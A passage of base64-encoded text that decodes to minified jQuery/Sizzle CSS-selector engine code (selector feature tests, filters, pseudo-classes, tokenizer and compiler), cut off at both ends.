IpLmxlbmd0aHx8eS5wdXNoKCJcXFsiK00rIipuYW1lIitNKyIqPSIrTSsiKig/OicnfFwiXCIpIiksZS5xdWVyeVNlbGVjdG9yQWxsKCI6Y2hlY2tlZCIpLmxlbmd0aHx8eS5wdXNoKCI6Y2hlY2tlZCIpLGUucXVlcnlTZWxlY3RvckFsbCgiYSMiK0UrIisqIikubGVuZ3RofHx5LnB1c2goIi4jLitbK35dIiksZS5xdWVyeVNlbGVjdG9yQWxsKCJcXFxmIikseS5wdXNoKCJbXFxyXFxuXFxmXSIpfSksY2UoZnVuY3Rpb24oZSl7ZS5pbm5lckhUTUw9IjxhIGhyZWY9JycgZGlzYWJsZWQ9J2Rpc2FibGVkJz48L2E+PHNlbGVjdCBkaXNhYmxlZD0nZGlzYWJsZWQnPjxvcHRpb24vPjwvc2VsZWN0PiI7dmFyIHQ9Qy5jcmVhdGVFbGVtZW50KCJpbnB1dCIpO3Quc2V0QXR0cmlidXRlKCJ0eXBlIiwiaGlkZGVuIiksZS5hcHBlbmRDaGlsZCh0KS5zZXRBdHRyaWJ1dGUoIm5hbWUiLCJEIiksZS5xdWVyeVNlbGVjdG9yQWxsKCJbbmFtZT1kXSIpLmxlbmd0aCYmeS5wdXNoKCJuYW1lIitNKyIqWypeJHwhfl0/PSIpLDIhPT1lLnF1ZXJ5U2VsZWN0b3JBbGwoIjplbmFibGVkIikubGVuZ3RoJiZ5LnB1c2goIjplbmFibGVkIiwiOmRpc2FibGVkIiksYS5hcHBlbmRDaGlsZChlKS5kaXNhYmxlZD0hMCwyIT09ZS5xdWVyeVNlbGVjdG9yQWxsKCI6ZGlzYWJsZWQiKS5sZW5ndGgmJnkucHVzaCgiOmVuYWJsZWQiLCI6ZGlzYWJsZWQiKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIiosOngiKSx5LnB1c2goIiwuKjoiKX0pKSwoZC5tYXRjaGVzU2VsZWN0b3I9Sy50ZXN0KGM9YS5tYXRjaGVzfHxhLndlYmtpdE1hdGNoZXNTZWxlY3Rvcnx8YS5tb3pNYXRjaGVzU2VsZWN0b3J8fGEub01hdGNoZXNTZWxlY3Rvcnx8YS5tc01hdGNoZXNTZWxlY3RvcikpJiZjZShmdW5jdGlvbihlKXtkLmRpc2Nvbm5lY3RlZE1hdGNoPWMuY2FsbChlLCIqIiksYy5jYWxsKGUsIltzIT0nJ106eCIpLHMucHVzaCgiIT0iLEYpfSksZC5jc3NTdXBwb3J0c1NlbGVjdG9yfHx5LnB1c2goIjpoYXMiKSx5PXkubGVuZ3RoJiZuZXcgUmVnRXhwKHkuam9pbigifCIpKSxzPXMubGVuZ3RoJiZuZXcgUmVnRXhwKHMuam9pbigifCIpKSx0PUsudGVzdChhLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKSx2PXR8fEsudGVzdChhLmNvbnRhaW5zKT9mdW5jdGlvbihlLHQpe3ZhciBuPTk9PT1lLm5vZGVUeXBlJiZlLmRvY3VtZW50RWxlbWVudHx8ZSxyPXQmJnQucGFyZW50Tm9kZTtyZXR1cm4gZT09PXJ8fCEoIXJ8fDEhPT1yLm5vZGVUeXBlfHwhKG4uY29udGFpbnM/bi5jb250YWlucyhyKTplLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uJiYxNiZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKHIpKSl9OmZ1bmN0aW9uKGUsdCl7aWYodCl3aGlsZSh0PXQucGFyZW50Tm9kZSlpZih0PT09ZSlyZXR1cm4hMDtyZXR1cm4hMX0saj10P2Z1bmN0aW9uKGUsdCl7aWYoZT09PXQpcmV0dXJuIGw9ITAsMDt2YXIgbj0hZS5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbi0hdC5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbjtyZXR1cm4gbnx8KDEmKG49KGUub3duZXJEb2N1bWVudHx8ZSk9PSh0Lm93bmVyRG9jdW1lbnR8fHQpP2UuY29tcGFyZURvY3VtZW50UG9zaXRpb24odCk6MSl8fCFkLnNvcnREZXRhY2hlZCYmdC5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbihlKT09PW4/ZT09Q3x8ZS5vd25lckRvY3VtZW50PT1wJiZ2KHAsZSk/LTE6dD09Q3x8dC5vd25lckRvY3VtZW50PT1wJiZ2KHAsdCk/MTp1P1AodSxlKS1QKHUsdCk6MDo0Jm4/LTE6MSl9OmZ1bmN0aW9uKGUsdCl7aWYoZT09PXQpcmV0dXJuIGw9ITAsMDt2YXIgbixyPTAsaT1lLnBhcmVudE5vZGUsbz10LnBhcmVudE5vZGUsYT1bZV0scz1bdF07aWYoIWl8fCFvKXJldHVybiBlPT1DPy0xOnQ9PUM/MTppPy0xOm8/MTp1P1AodSxlKS1QKHUsdCk6MDtpZihpPT09bylyZXR1cm4gcGUoZSx0KTtuPWU7d2hpbGUobj1uLnBhcmVudE5vZGUpYS51bnNoaWZ0KG4pO249dDt3aGlsZShuPW4ucGFyZW50Tm9kZSlzLnVuc2hpZnQobik7d2hpbGUoYVtyXT09PXNbcl0pcisrO3JldHVybiByP3BlKGFbcl0sc1tyXSk6YVtyXT09cD8tMTpzW3JdPT1wPzE6MH0pLEN9LHNlLm1hdGNoZXM9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gc2UoZSxudWxsLG51bGwsdCl9LHNlLm1hdGNoZXNTZWxlY3Rvcj1mdW5jdGlvbihlLHQpe2lmKFQoZSksZC5tYXRjaGVzU2VsZWN0b3ImJlMmJiFOW3QrIiAiXSYmKCFzfHwhcy50ZXN0KHQpKSYmKCF5fHwheS50ZXN0KHQpKSl0cnl7dmFyIG49Yy5jYWxsKGUsdCk7aWYobnx8ZC5kaXNjb25uZWN0ZWRNYXRjaHx8ZS5kb2N1bWVudCYmMTEhPT1lLmRvY3VtZW50Lm5vZGVUeXBlKXJldHVybiBufWNhdGNoKGUpe04odCwhMCl9cmV0dXJuIDA8c2UodCxDLG51bGwsW2VdKS5sZW5ndGh9LHNlLmNvbnRhaW5zPWZ1bmN0aW9uKGUsdCl7cmV0dXJuKGUub3duZXJEb2N1bWVudHx8ZSkhPUMmJlQoZSksdihlLHQpfSxzZS5hdHRyPWZ1bmN0aW9uKGUsdCl7KGUub3duZXJEb2N1bWVudHx8ZSkhPUMmJlQoZSk7dmFyIG49Yi5hdHRySGFuZGxlW3QudG9Mb3dlckNhc2UoKV0scj1uJiZELmNhbGwoYi5hdHRySGFuZGxlLHQudG9Mb3dlckNhc2UoKSk/bihlLHQsIVMpOnZvaWQgMDtyZXR1cm4gdm9pZCAwIT09cj9yOmQuYXR0cmlidXRlc3x8IVM/ZS5nZXRBdHRyaWJ1dGUodCk6KHI9ZS5nZXRBdHRyaWJ1dGVOb2RlKHQpKSYmci5zcGVjaWZpZWQ/ci52YWx1ZTpudWxsfSxzZS5lc2NhcGU9ZnVuY3Rpb24oZSl7cmV0dXJuKGUrIiIpLnJlcGxhY2UocmUsaWUpfSxzZS5lcnJvcj1mdW5jdGlvbihlKXt0aHJvdyBuZXcgRXJyb3IoIlN5bnRheCBlcnJvciwgdW5yZWNvZ25pemVkIGV4cHJlc3Npb246ICIrZSl9LHNlLnVuaXF1ZVNvcnQ9ZnVuY3Rpb24oZSl7dmFyIHQsbj1bXSxyPTAsaT0wO2lmKGw9IWQuZGV0ZWN0RHVwbGljYXRlcyx1PSFkLnNvcnRTdGFibGUmJmUuc2xpY2UoMCksZS5zb3J0KGopLGwpe3doaWxlKHQ9ZVtpKytdKXQ9PT1lW2ldJiYocj1uLnB1c2goaSkpO3doaWxlKHItLSllLnNwbGljZShuW3JdLDEpfXJldHVybiB1PW51bGwsZX0sbz1zZS5nZXRUZXh0PWZ1bmN0aW9uKGUpe3ZhciB0LG49IiIscj0wLGk9ZS5ub2RlVHlwZTtpZihpKXtpZigxPT09aXx8OT09PWl8fDExPT09aSl7aWYoInN0cmluZyI9PXR5cGVvZiBlLnRleHRDb250ZW50KXJldHVybiBlLnRleHRDb250ZW50O2ZvcihlPWUuZmlyc3RDaGlsZDtlO2U9ZS5uZXh0U2libGluZyluKz1vKGUpfWVsc2UgaWYoMz09PWl8fDQ9PT1pKXJldHVybiBlLm5vZGVWYWx1ZX1lbHNlIHdoaWxlKHQ9ZVtyKytdKW4rPW8odCk7cmV0dXJuIG59LChiPXNlLnNlbGVjdG9ycz17Y2FjaGVMZW5ndGg6NTAsY3JlYXRlUHNldWRvOmxlLG1hdGNoOkcsYXR0ckhhbmRsZTp7fSxmaW5kOnt9LHJlbGF0aXZlOnsiPiI6e2RpcjoicGFyZW50Tm9kZSIsZmlyc3Q6ITB9LCIgIjp7ZGlyOiJwYXJlbnROb2RlIn0sIisiOntkaXI6InByZXZpb3VzU2libGluZyIsZmlyc3Q6ITB9LCJ+Ijp7ZGlyOiJwcmV2aW91c1NpYmxpbmcifX0scHJlRmlsdGVyOntBVFRSOmZ1bmN0aW9uKGUpe3JldHVybiBlWzFdPWVbMV0ucmVwbGFjZSh0ZSxuZSksZVszXT0oZVszXXx8ZVs0XXx8ZVs1XXx8IiIpLnJlcGxhY2UodGUsbmUpLCJ+PSI9PT1lWzJdJiYoZVszXT0iICIrZVszXSsiICIpLGUuc2xpY2UoMCw0KX0sQ0hJTEQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGVbMV09ZVsxXS50b0xvd2VyQ2FzZSgpLCJudGgiPT09ZVsxXS5zbGljZSgwLDMpPyhlWzNdfHxzZS5lcnJvcihlWzBdKSxlWzRdPSsoZVs0XT9lWzVdKyhlWzZdfHwxKToyKigiZXZlbiI9PT1lWzNdfHwib2RkIj09PWVbM10pKSxlWzVdPSsoZVs3XStlWzhdfHwib2RkIj09PWVbM10pKTplWzNdJiZzZS5lcnJvcihlWzBdKSxlfSxQU0VVRE86ZnVuY3Rpb24oZSl7dmFyIHQsbj0hZVs2XSYmZVsyXTtyZXR1cm4gRy5DSElMRC50ZXN0KGVbMF0pP251bGw6KGVbM10/ZVsyXT1lWzRdfHxlWzVdfHwiIjpuJiZYLnRlc3QobikmJih0PWgobiwhMCkpJiYodD1uLmluZGV4T2YoIikiLG4ubGVuZ3RoLXQpLW4ubGVuZ3RoKSYmKGVbMF09ZVswXS5zbGljZSgwLHQpLGVbMl09bi5zbGljZSgwLHQpKSxlLnNsaWNlKDAsMykpfX0sZmlsdGVyOntUQUc6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5yZXBsYWNlKHRlLG5lKS50b0xvd2VyQ2FzZSgpO3JldHVybiIqIj09PWU/ZnVuY3Rpb24oKXtyZXR1cm4hMH06ZnVuY3Rpb24oZSl7cmV0dXJuIGUubm9kZU5hbWUmJmUubm9kZU5hbWUudG9Mb3dlckNhc2UoKT09PXR9fSxDTEFTUzpmdW5jdGlvbihlKXt2YXIgdD1tW2UrIiAiXTtyZXR1cm4gdHx8KHQ9bmV3IFJlZ0V4cCgiKF58IitNKyIpIitlKyIoIitNKyJ8JCkiKSkmJm0oZSxmdW5jdGlvbihlKXtyZXR1cm4gdC50ZXN0KCJzdHJpbmciPT10eXBlb2YgZS5jbGFzc05hbWUmJmUuY2xhc3NOYW1lfHwidW5kZWZpbmVkIiE9dHlwZW9mIGUuZ2V0QXR0cmlidXRlJiZlLmdldEF0dHJpYnV0ZSgiY2xhc3MiKXx8IiIpfSl9LEFUVFI6ZnVuY3Rpb24obixyLGkpe3JldHVybiBmdW5jdGlvbihlKXt2YXIgdD1zZS5hdHRyKGUsbik7cmV0dXJuIG51bGw9PXQ/IiE9Ij09PXI6IXJ8fCh0Kz0iIiwiPSI9PT1yP3Q9PT1pOiIhPSI9PT1yP3QhPT1pOiJePSI9PT1yP2kmJjA9PT10LmluZGV4T2YoaSk6Iio9Ij09PXI/aSYmLTE8dC5pbmRleE9mKGkpOiIkPSI9PT1yP2kmJnQuc2xpY2UoLWkubGVuZ3RoKT09PWk6In49Ij09PXI/LTE8KCIgIit0LnJlcGxhY2UoJCwiICIpKyIgIikuaW5kZXhPZihpKToifD0iPT09ciYmKHQ9PT1pfHx0LnNsaWNlKDAsaS5sZW5ndGgrMSk9PT1pKyItIikpfX0sQ0hJTEQ6ZnVuY3Rpb24oaCxlLHQsZyx5KXt2YXIgdj0ibnRoIiE9PWguc2xpY2UoMCwzKSxtPSJsYXN0IiE9PWguc2xpY2UoLTQpLHg9Im9mLXR5cGUiPT09ZTtyZXR1cm4gMT09PWcmJjA9PT15P2Z1bmN0aW9uKGUpe3JldHVybiEhZS5wYXJlbnROb2RlfTpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGw9diE9PW0/Im5leHRTaWJsaW5nIjoicHJldmlvdXNTaWJsaW5nIixjPWUucGFyZW50Tm9kZSxmPXgmJmUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSxwPSFuJiYheCxkPSExO2lmKGMpe2lmKHYpe3doaWxlKGwpe2E9ZTt3aGlsZShhPWFbbF0paWYoeD9hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1mOjE9PT1hLm5vZGVUeXBlKXJldHVybiExO3U9bD0ib25seSI9PT1oJiYhdSYmIm5leHRTaWJsaW5nIn1yZXR1cm4hMH1pZih1PVttP2MuZmlyc3RDaGlsZDpjLmxhc3RDaGlsZF0sbSYmcCl7ZD0ocz0ocj0oaT0obz0oYT1jKVtFXXx8KGFbRV09e30pKVthLnVuaXF1ZUlEXXx8KG9bYS51bmlxdWVJRF09e30pKVtoXXx8W10pWzBdPT09ayYmclsxXSkmJnJbMl0sYT1zJiZjLmNoaWxkTm9kZXNbc107d2hpbGUoYT0rK3MmJmEmJmFbbF18fChkPXM9MCl8fHUucG9wKCkpaWYoMT09PWEubm9kZVR5cGUmJisrZCYmYT09PWUpe2lbaF09W2sscyxkXTticmVha319ZWxzZSBpZihwJiYoZD1zPShyPShpPShvPShhPWUpW0VdfHwoYVtFXT17fSkpW2EudW5pcXVlSURdfHwob1thLnVuaXF1ZUlEXT17fSkpW2hdfHxbXSlbMF09PT1rJiZyWzFdKSwhMT09PWQpd2hpbGUoYT0rK3MmJmEmJmFbbF18fChkPXM9MCl8fHUucG9wKCkpaWYoKHg/YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPT09ZjoxPT09YS5ub2RlVHlwZSkmJisrZCYmKHAmJigoaT0obz1hW0VdfHwoYVtFXT17fSkpW2EudW5pcXVlSURdfHwob1thLnVuaXF1ZUlEXT17fSkpW2hdPVtrLGRdKSxhPT09ZSkpYnJlYWs7cmV0dXJuKGQtPXkpPT09Z3x8ZCVnPT0wJiYwPD1kL2d9fX0sUFNFVURPOmZ1bmN0aW9uKGUsbyl7dmFyIHQsYT1iLnBzZXVkb3NbZV18fGIuc2V0RmlsdGVyc1tlLnRvTG93ZXJDYXNlKCldfHxzZS5lcnJvcigidW5zdXBwb3J0ZWQgcHNldWRvOiAiK2UpO3JldHVybiBhW0VdP2Eobyk6MTxhLmxlbmd0aD8odD1bZSxlLCIiLG9dLGIuc2V0RmlsdGVycy5oYXNPd25Qcm9wZXJ0eShlLnRvTG93ZXJDYXNlKCkpP2xlKGZ1bmN0aW9uKGUsdCl7dmFyIG4scj1hKGUsbyksaT1yLmxlbmd0aDt3aGlsZShpLS0pZVtuPVAoZSxyW2ldKV09ISh0W25dPXJbaV0pfSk6ZnVuY3Rpb24oZSl7cmV0dXJuIGEoZSwwLHQpfSk6YX19LHBzZXVkb3M6e25vdDpsZShmdW5jdGlvbihlKXt2YXIgcj1bXSxpPVtdLHM9ZihlLnJlcGxhY2UoQiwiJDEiKSk7cmV0dXJuIHNbRV0/bGUoZnVuY3Rpb24oZSx0LG4scil7dmFyIGksbz1zKGUsbnVsbCxyLFtdKSxhPWUubGVuZ3RoO3doaWxlKGEtLSkoaT1vW2FdKSYmKGVbYV09ISh0W2FdPWkpKX0pOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gclswXT1lLHMocixudWxsLG4saSksclswXT1udWxsLCFpLnBvcCgpfX0pLGhhczpsZShmdW5jdGlvbih0KXtyZXR1cm4gZnVuY3Rpb24oZSl7cmV0dXJuIDA8c2UodCxlKS5sZW5ndGh9fSksY29udGFpbnM6bGUoZnVuY3Rpb24odCl7cmV0dXJuIHQ9dC5yZXBsYWNlKHRlLG5lKSxmdW5jdGlvbihlKXtyZXR1cm4tMTwoZS50ZXh0Q29udGVudHx8byhlKSkuaW5kZXhPZih0KX19KSxsYW5nOmxlKGZ1bmN0aW9uKG4pe3JldHVybiBWLnRlc3Qobnx8IiIpfHxzZS5lcnJvcigidW5zdXBwb3J0ZWQgbGFuZzogIituKSxuPW4ucmVwbGFjZSh0ZSxuZSkudG9Mb3dlckNhc2UoKSxmdW5jdGlvbihlKXt2YXIgdDtkb3tpZih0PVM/ZS5sYW5nOmUuZ2V0QXR0cmlidXRlKCJ4bWw6bGFuZyIpfHxlLmdldEF0dHJpYnV0ZSgibGFuZyIpKXJldHVybih0PXQudG9Mb3dlckNhc2UoKSk9PT1ufHwwPT09dC5pbmRleE9mKG4rIi0iKX13aGlsZSgoZT1lLnBhcmVudE5vZGUpJiYxPT09ZS5ub2RlVHlwZSk7cmV0dXJuITF9fSksdGFyZ2V0OmZ1bmN0aW9uKGUpe3ZhciB0PW4ubG9jYXRpb24mJm4ubG9jYXRpb24uaGFzaDtyZXR1cm4gdCYmdC5zbGljZSgxKT09PWUuaWR9LHJvb3Q6ZnVuY3Rpb24oZSl7cmV0dXJuIGU9PT1hfSxmb2N1czpmdW5jdGlvbihlKXtyZXR1cm4gZT09PUMuYWN0aXZlRWxlbWVudCYmKCFDLmhhc0ZvY3VzfHxDLmhhc0ZvY3VzKCkpJiYhIShlLnR5cGV8fGUuaHJlZnx8fmUudGFiSW5kZXgpfSxlbmFibGVkOmdlKCExKSxkaXNhYmxlZDpnZSghMCksY2hlY2tlZDpmdW5jdGlvbihlKXt2YXIgdD1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PXQmJiEhZS5jaGVja2VkfHwib3B0aW9uIj09PXQmJiEhZS5zZWxlY3RlZH0sc2VsZWN0ZWQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGUucGFyZW50Tm9kZSYmZS5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgsITA9PT1lLnNlbGVjdGVkfSxlbXB0eTpmdW5jdGlvbihlKXtmb3IoZT1lLmZpcnN0Q2hpbGQ7ZTtlPWUubmV4dFNpYmxpbmcpaWYoZS5ub2RlVHlwZTw2KXJldHVybiExO3JldHVybiEwfSxwYXJlbnQ6ZnVuY3Rpb24oZSl7cmV0dXJuIWIucHNldWRvcy5lbXB0eShlKX0saGVhZGVyOmZ1bmN0aW9uKGUpe3JldHVybiBKLnRlc3QoZS5ub2RlTmFtZSl9LGlucHV0OmZ1bmN0aW9uKGUpe3JldHVybiBRLnRlc3QoZS5ub2RlTmFtZSl9LGJ1dHRvbjpmdW5jdGlvbihlKXt2YXIgdD1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PXQmJiJidXR0b24iPT09ZS50eXBlfHwiYnV0dG9uIj09PXR9LHRleHQ6ZnVuY3Rpb24oZSl7dmFyIHQ7cmV0dXJuImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSYmInRleHQiPT09ZS50eXBlJiYobnVsbD09KHQ9ZS5nZXRBdHRyaWJ1dGUoInR5cGUiKSl8fCJ0ZXh0Ij09PXQudG9Mb3dlckNhc2UoKSl9LGZpcnN0OnllKGZ1bmN0aW9uKCl7cmV0dXJuWzBdfSksbGFzdDp5ZShmdW5jdGlvbihlLHQpe3JldHVyblt0LTFdfSksZXE6eWUoZnVuY3Rpb24oZSx0LG4pe3JldHVybltuPDA/bit0Om5dfSksZXZlbjp5ZShmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wO248dDtuKz0yKWUucHVzaChuKTtyZXR1cm4gZX0pLG9kZDp5ZShmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0xO248dDtuKz0yKWUucHVzaChuKTtyZXR1cm4gZX0pLGx0OnllKGZ1bmN0aW9uKGUsdCxuKXtmb3IodmFyIHI9bjwwP24rdDp0PG4/dDpuOzA8PS0tcjspZS5wdXNoKHIpO3JldHVybiBlfSksZ3Q6eWUoZnVuY3Rpb24oZSx0LG4pe2Zvcih2YXIgcj1uPDA/bit0Om47KytyPHQ7KWUucHVzaChyKTtyZXR1cm4gZX0pfX0pLnBzZXVkb3MubnRoPWIucHNldWRvcy5lcSx7cmFkaW86ITAsY2hlY2tib3g6ITAsZmlsZTohMCxwYXNzd29yZDohMCxpbWFnZTohMH0pYi5wc2V1ZG9zW2VdPWRlKGUpO2ZvcihlIGlue3N1Ym1pdDohMCxyZXNldDohMH0pYi5wc2V1ZG9zW2VdPWhlKGUpO2Z1bmN0aW9uIG1lKCl7fWZ1bmN0aW9uIHhlKGUpe2Zvcih2YXIgdD0wLG49ZS5sZW5ndGgscj0iIjt0PG47dCsrKXIrPWVbdF0udmFsdWU7cmV0dXJuIHJ9ZnVuY3Rpb24gYmUocyxlLHQpe3ZhciB1PWUuZGlyLGw9ZS5uZXh0LGM9bHx8dSxmPXQmJiJwYXJlbnROb2RlIj09PWMscD1yKys7cmV0dXJuIGUuZmlyc3Q/ZnVuY3Rpb24oZSx0LG4pe3doaWxlKGU9ZVt1XSlpZigxPT09ZS5ub2RlVHlwZXx8ZilyZXR1cm4gcyhlLHQsbik7cmV0dXJuITF9OmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYT1bayxwXTtpZihuKXt3aGlsZShlPWVbdV0paWYoKDE9PT1lLm5vZGVUeXBlfHxmKSYmcyhlLHQsbikpcmV0dXJuITB9ZWxzZSB3aGlsZShlPWVbdV0paWYoMT09PWUubm9kZVR5cGV8fGYpaWYoaT0obz1lW0VdfHwoZVtFXT17fSkpW2UudW5pcXVlSURdfHwob1tlLnVuaXF1ZUlEXT17fSksbCYmbD09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSllPWVbdV18fGU7ZWxzZXtpZigocj1pW2NdKSYmclswXT09PWsmJnJbMV09PT1wKXJldHVybiBhWzJdPXJbMl07aWYoKGlbY109YSlbMl09cyhlLHQsbikpcmV0dXJuITB9cmV0dXJuITF9fWZ1bmN0aW9uIHdlKGkpe3JldHVybiAxPGkubGVuZ3RoP2Z1bmN0aW9uKGUsdCxuKXt2YXIgcj1pLmxlbmd0aDt3aGlsZShyLS0paWYoIWlbcl0oZSx0LG4pKXJldHVybiExO3JldHVybiEwfTppWzBdfWZ1bmN0aW9uIFRlKGUsdCxuLHIsaSl7Zm9yKHZhciBvLGE9W10scz0wLHU9ZS5sZW5ndGgsbD1udWxsIT10O3M8dTtzKyspKG89ZVtzXSkmJihuJiYhbihvLHIsaSl8fChhLnB1c2gobyksbCYmdC5wdXNoKHMpKSk7cmV0dXJuIGF9ZnVuY3Rpb24gQ2UoZCxoLGcseSx2LGUpe3JldHVybiB5JiYheVtFXSYmKHk9Q2UoeSkpLHYmJiF2W0VdJiYodj1DZSh2LGUpKSxsZShmdW5jdGlvbihlLHQsbixyKXt2YXIgaSxvLGEscz1bXSx1PVtdLGw9dC5sZW5ndGgsYz1lfHxmdW5jdGlvbihlLHQsbil7Zm9yKHZhciByPTAsaT10Lmxlbmd0aDtyPGk7cisrKXNlKGUsdFtyXSxuKTtyZXR1cm4gbn0oaHx8IioiLG4ubm9kZVR5cGU/W25dOm4sW10pLGY9IWR8fCFlJiZoP2M6VGUoYyxzLGQsbixyKSxwPWc/dnx8KGU/ZDpsfHx5KT9bXTp0OmY7aWYoZyYmZyhmLHAsbixyKSx5KXtpPVRlKHAsdSkseShpLFtdLG4sciksbz1pLmxlbmd0aDt3aGlsZShvLS0pKGE9aVtvXSkmJihwW3Vbb11dPSEoZlt1W29dXT1hKSl9aWYoZSl7aWYodnx8ZCl7aWYodil7aT1bXSxvPXAubGVuZ3RoO3doaWxlKG8tLSkoYT1wW29dKSYmaS5wdXNoKGZbb109YSk7dihudWxsLHA9W10saSxyKX1vPXAubGVuZ3RoO3doaWxlKG8tLSkoYT1wW29dKSYmLTE8KGk9dj9QKGUsYSk6c1tvXSkmJihlW2ldPSEodFtpXT1hKSl9fWVsc2UgcD1UZShwPT09dD9wLnNwbGljZShsLHAubGVuZ3RoKTpwKSx2P3YobnVsbCx0LHAscik6SC5hcHBseSh0LHApfSl9ZnVuY3Rpb24gU2UoZSl7Zm9yKHZhciBpLHQsbixyPWUubGVuZ3RoLG89Yi5yZWxhdGl2ZVtlWzBdLnR5cGVdLGE9b3x8Yi5yZWxhdGl2ZVsiICJdLHM9bz8xOjAsdT1iZShmdW5jdGlvbihlKXtyZXR1cm4gZT09PWl9LGEsITApLGw9YmUoZnVuY3Rpb24oZSl7cmV0dXJuLTE8UChpLGUpfSxhLCEwKSxjPVtmdW5jdGlvbihlLHQsbil7dmFyIHI9IW8mJihufHx0IT09dyl8fCgoaT10KS5ub2RlVHlwZT91KGUsdCxuKTpsKGUsdCxuKSk7cmV0dXJuIGk9bnVsbCxyfV07czxyO3MrKylpZih0PWIucmVsYXRpdmVbZVtzXS50eXBlXSljPVtiZSh3ZShjKSx0KV07ZWxzZXtpZigodD1iLmZpbHRlcltlW3NdLnR5cGVdLmFwcGx5KG51bGwsZVtzXS5tYXRjaGVzKSlbRV0pe2ZvcihuPSsrcztuPHI7bisrKWlmKGIucmVsYXRpdmVbZVtuXS50eXBlXSlicmVhaztyZXR1cm4gQ2UoMTxzJiZ3ZShjKSwxPHMmJnhlKGUuc2xpY2UoMCxzLTEpLmNvbmNhdCh7dmFsdWU6IiAiPT09ZVtzLTJdLnR5cGU/IioiOiIifSkpLnJlcGxhY2UoQiwiJDEiKSx0LHM8biYmU2UoZS5zbGljZShzLG4pKSxuPHImJlNlKGU9ZS5zbGljZShuKSksbjxyJiZ4ZShlKSl9Yy5wdXNoKHQpfXJldHVybiB3ZShjKX1yZXR1cm4gbWUucHJvdG90eXBlPWIuZmlsdGVycz1iLnBzZXVkb3MsYi5zZXRGaWx0ZXJzPW5ldyBtZSxoPXNlLnRva2VuaXplPWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpLG8sYSxzLHUsbD14W2UrIiAiXTtpZihsKXJldHVybiB0PzA6bC5zbGljZSgwKTthPWUscz1bXSx1PWIucHJlRmlsdGVyO3doaWxlKGEpe2ZvcihvIGluIG4mJiEocj1fLmV4ZWMoYSkpfHwociYmKGE9YS5zbGljZShyWzBdLmxlbmd0aCl8fGEpLHMucHVzaChpPVtdKSksbj0hMSwocj16LmV4ZWMoYSkpJiYobj1yLnNoaWZ0KCksaS5wdXNoKHt2YWx1ZTpuLHR5cGU6clswXS5yZXBsYWNlKEIsIiAiKX0pLGE9YS5zbGljZShuLmxlbmd0aCkpLGIuZmlsdGVyKSEocj1HW29dLmV4ZWMoYSkpfHx1W29dJiYhKHI9dVtvXShyKSl8fChuPXIuc2hpZnQoKSxpLnB1c2goe3ZhbHVlOm4sdHlwZTpvLG1hdGNoZXM6cn0pLGE9YS5zbGljZShuLmxlbmd0aCkpO2lmKCFuKWJyZWFrfXJldHVybiB0P2EubGVuZ3RoOmE/c2UuZXJyb3IoZSk6eChlLHMpLnNsaWNlKDApfSxmPXNlLmNvbXBpbGU9ZnVuY3Rpb24oZSx0KXt2YXIgbix5LHYsbSx4LHIsaT1bXSxvPVtdLGE9QVtlKyIgIl07aWYoIWEpe3R8fCh0PWgoZSkpLG49dC5sZW5ndGg7d2hpbGUobi0tKShhPVNlKHRbbl0pKVtFXT9pLnB1c2goYSk6by5wdXNoKGEpOyhhPUEoZSwoeT1vLG09MDwodj1pKS5sZW5ndGgseD0wPHkubGVuZ3RoLHI9ZnVuY3Rpb24oZSx0LG4scixpKXt2YXIgbyxhLHMsdT0wLGw9IjAiLGM9ZSYmW10sZj1bXSxwPXcsZD1lfHx4JiZiLmZpbmQuVEFHKCIqIixpKSxoPWsrPW51bGw9PXA/MTpNYXRoLnJhbmRvbSgpfHwuMSxnPWQubGVuZ3RoO2ZvcihpJiYodz10PT1DfHx0fHxpKTtsIT09ZyYmbnVsbCE9KG89ZFtsXSk7bCsrKXtpZih4JiZvKXthPTAsdHx8by5vd25lckRvY3VtZW50PT1DfHwoVChvKSxuPSFTKTt3aGlsZShzPXlbYSsrXSlpZihzKG8sdHx8QyxuKSl7ci5wdXNoKG8pO2JyZWFrfWkmJihrPWgpfW0mJigobz0hcyYmbykmJnUtLSxlJiZjLnB1c2gobykpfWlmKHUrPWwsbSYmbCE9PXUpe2E9MDt3aGlsZShzPXZbYSsrXSlzKGMsZix0LG4pO2lmKGUpe2lmKDA8dSl3aGlsZShsLS0pY1tsXXx8ZltsXXx8KGZbbF09cS5jYWxsKHIpKTtmPVRlKGYpfUguYXBwbHkocixmKSxpJiYhZSYmMDxmLmxlbmd0aCYmMTx1K3YubGVuZ3RoJiZzZS51bmlxdWVTb3J0KHIpfXJldHVybiBpJiYoaz1oLHc9cCksY30sbT9sZShyKTpyKSkpLnNlbGVjdG9yPWV9cmV0dXJuIGF9LGc9c2Uuc2VsZWN0PWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpLG8sYSxzLHUsbD0iZnVuY3Rpb24iPT10eXBlb2YgZSYmZSxjPSFyJiZoKGU9bC5zZWxlY3Rvcnx8ZSk7aWYobj1ufHxbXSwxPT09Yy5sZW5ndGgpe2lmKDI8KG89Y1swXT1jWzBdLnNsaWNlKDApKS5sZW5ndGgmJiJJRCI9PT0oYT1vWzBdKS50eXBlJiY5PT09dC5ub2RlVHlwZSYmUyYmYi5yZWxhd